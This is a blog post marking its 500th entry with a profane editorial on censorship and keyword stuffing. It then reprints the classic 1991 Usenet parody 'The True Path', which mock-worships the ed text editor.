Since we'll be moving soon, anyway, we've come to the decision that we will no longer edit out profanity from our featured posts, at the risk of being labeled an "adult" site. This means that you can read the almost-exact-same thing at Gnu.org's page. Most of the stuff we've edited out over time has been fairly tame (in our opinion) anyway. Of course, the logical next steps (according to the Institute for the Preservation of Logical Fallacies ;) for this blog (after letting a "crap" or a "shit" slip through the cracks) are going to be drug humor (done it already) and pornography (haven't technically done it, yet, but just consider that everything is made up of 1's and 0's... Some folks somewhere have to find that entire concept sexually offensive (although statistics show that they're more likely to be offended if you wave a lot of 1's in their faces ;). If you're still single, avoid these people at all costs because - SPOILER ALERT - no matter how hard you try, you're not going to get laid ;).

The concept the whole progression, listed above, relies on is that you're too simple-minded to question authority. For instance, the use of swear words is a gateway to dehumanization and ever-increasing detachment from normal polite society (Which is just fuckin' crazy. Who "are" these meat puppets? ;). The same people who bring you that argument are also responsible for the world-famous "Marijuana is a gateway drug" argument; noting that most crack addicts started out smoking cigarettes and huffing joints. Of course, by that same logic, you could deduce that caffeine (found in coffee and most soft drinks) also leads to crack addiction. I'd bet my paycheck that a lot of those very same addicts started out with an innocent sip of Diet Pepsi or RC Cola. If they'd only known ;) You see what we mean, though, right? The backwards logic doesn't make sense unless you sensationalize it. Even then, it still doesn't make sense, but (if you're good at spinning public paranoia) by the point in time that anyone might come around to questioning the validity of your argument, you've pressed enough hot buttons in enough people to virtually ensure that anyone who has the courage to question you will be sought upon by an angry mob of delusional idiots ;)

As an aside, if you ever read the keyword lists for our weekend posts, do they sound like really poorly transcribed titles to Eastern TV or Movie comedies? (e.g. The happy funny laugh joke time show! ;)

As for keyword stuffing (think: Linux Unix Unix Linux Unix Linux Linux RedHat Solaris Perl Shell Script Perl Linux Unix Perl Shell RedHat SUSE Linux Bash Shell Linux RedHat Unix Linux Linux Linux Perl Unix Shell), we have yet to go there, but we may just give it a shot. This site doesn't really fare well in the SEO game, but that's never been our concern. Or, per our new editorial guidelines, we'd rather Linux write Unix helpful Redhat posts Shell on Unix topics Perl that Unix people Linux might Shell find SUSE useful Linux than Shell Script cow IBM tow Unix to Linux the RedHat arbitrary Linux whims Solaris of Unix whomever Linux is Perl in Unix charge Bash of Perl keeping Linux you Shell up-to-date Ubuntu with Linux what Unix you Shell should Linux enjoy Perl on Unix your Linux own Linux free Unix time :)

Enjoy this 500th post with our compliments (and derogatory gestures ;). It's some funny shit. Don't be afraid to laugh, even if the overt references to drug-induced sexuality and pornographic violence fuck with your head a little ;)

We'll see you at the "you must be 18 years or older" gateway page tomorrow!

Cheers,



Ed, man! !man ed




From: patl@athena.mit.edu (Patrick J. LoPresti)
Subject: The True Path (long)
Date: 11 Jul 91 03:17:31 GMT
Newsgroups: alt.religion.emacs,alt.slack

When I log into my Xenix system with my 110 baud teletype, both vi
*and* Emacs are just too damn slow. They print useless messages like,
'C-h for help' and '"foo" File is read only'. So I use the editor
that doesn't waste my VALUABLE time.

Ed, man! !man ed

ED(1) Unix Programmer's Manual ED(1)

NAME
ed - text editor

SYNOPSIS
ed [ - ] [ -x ] [ name ]
DESCRIPTION
Ed is the standard text editor.
---

Computer Scientists love ed, not just because it comes first
alphabetically, but because it's the standard. Everyone else loves ed
because it's ED!

"Ed is the standard text editor."

And ed doesn't waste space on my Timex Sinclair. Just look:

-rwxr-xr-x 1 root 24 Oct 29 1929 /bin/ed
-rwxr-xr-t 4 root 1310720 Jan 1 1970 /usr/ucb/vi
-rwxr-xr-x 1 root 5.89824e37 Oct 22 1990 /usr/bin/emacs

Of course, on the system *I* administrate, vi is symlinked to ed.
Emacs has been replaced by a shell script which 1) Generates a syslog
message at level LOG_EMERG; 2) reduces the user's disk quota by 100K;
and 3) RUNS ED!!!!!!

"Ed is the standard text editor."

Let's look at a typical novice's session with the mighty ed:

golem$ ed

?
help
?
?
?
quit
?
exit
?
bye
?
hello?
?
eat flaming death
?
^C
?
^C
?
^D
?

---
Note the consistent user interface and error reportage. Ed is
generous enough to flag errors, yet prudent enough not to overwhelm
the novice with verbosity.

"Ed is the standard text editor."

Ed, the greatest WYGIWYG editor of all.

ED IS THE TRUE PATH TO NIRVANA! ED HAS BEEN THE CHOICE OF EDUCATED
AND IGNORANT ALIKE FOR CENTURIES! ED WILL NOT CORRUPT YOUR PRECIOUS
BODILY FLUIDS!! ED IS THE STANDARD TEXT EDITOR! ED MAKES THE SUN
SHINE AND THE BIRDS SING AND THE GRASS GREEN!!

When I use an editor, I don't want eight extra KILOBYTES of worthless
help screens and cursor positioning code! I just want an EDitor!!
Not a "viitor". Not a "emacsitor". Those aren't even WORDS!!!! ED!
ED! ED IS THE STANDARD!!!

TEXT EDITOR.

When IBM, in its ever-present omnipotence, needed to base their
"edlin" on a Unix standard, did they mimic vi? No. Emacs? Surely
you jest. They chose the most karmic editor of all. The standard.

Ed is for those who can *remember* what they are working on. If you
are an idiot, you should use Emacs. If you are an Emacs, you should
not be vi. If you use ED, you are on THE PATH TO REDEMPTION. THE
SO-CALLED "VISUAL" EDITORS HAVE BEEN PLACED HERE BY ED TO TEMPT THE
FAITHLESS. DO NOT GIVE IN!!! THE MIGHTY ED HAS SPOKEN!!!

?






, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.